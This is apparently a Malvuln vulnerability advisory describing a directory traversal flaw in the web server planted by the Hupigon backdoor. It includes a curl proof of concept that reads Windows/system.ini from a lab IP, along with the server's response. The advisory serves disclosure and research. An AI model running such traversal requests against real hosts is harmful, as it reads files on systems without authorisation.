Backdoor.Win32.Hupigon.afjk Directory Traversal

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/80b0fc8c0657c0ae7971f09af45c706b.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Hupigon.afjk  
Vulnerability: Directory Traversal  
Description: The malware deploys a Web server listening on TCP port 80. Third-party attackers who can reach an infected host can read any file on the system using "../" path traversal characters to break out of the web root dir.  
Type: PE32  
MD5: 80b0fc8c0657c0ae7971f09af45c706b  
Vuln ID: MVID-2021-0374  
Disclosure: 10/27/2021  
  
  
Exploit/PoC:  
curl http://192.168.18.125/../../../../Windows/system.ini -v  
  
Connected to 192.168.18.125 (192.168.18.125) port 80 (#0)  
GET /Windows/system.ini HTTP/1.1  
Host: 192.168.18.125  
User-Agent: curl/7.55.1  
Accept: */*  
  
HTTP/1.0 200 OK  
Server: dcs-http-server/1.0  
Date: Thu, 06 Dec 2001 15:08:55 GMT  
Content-length: 219  
  
; for 16-bit app support  
[386Enh]  
woafont=dosapp.fon  
EGA80WOA.FON=EGA80WOA.FON  
EGA40WOA.FON=EGA40WOA.FON  
CGA80WOA.FON=CGA80WOA.FON  
CGA40WOA.FON=CGA40WOA.FON  
  
[drivers]  
wave=mmdrv.dll  
timer=timer.drv  
  
[mci]  
* Closing connection 0  
  
  
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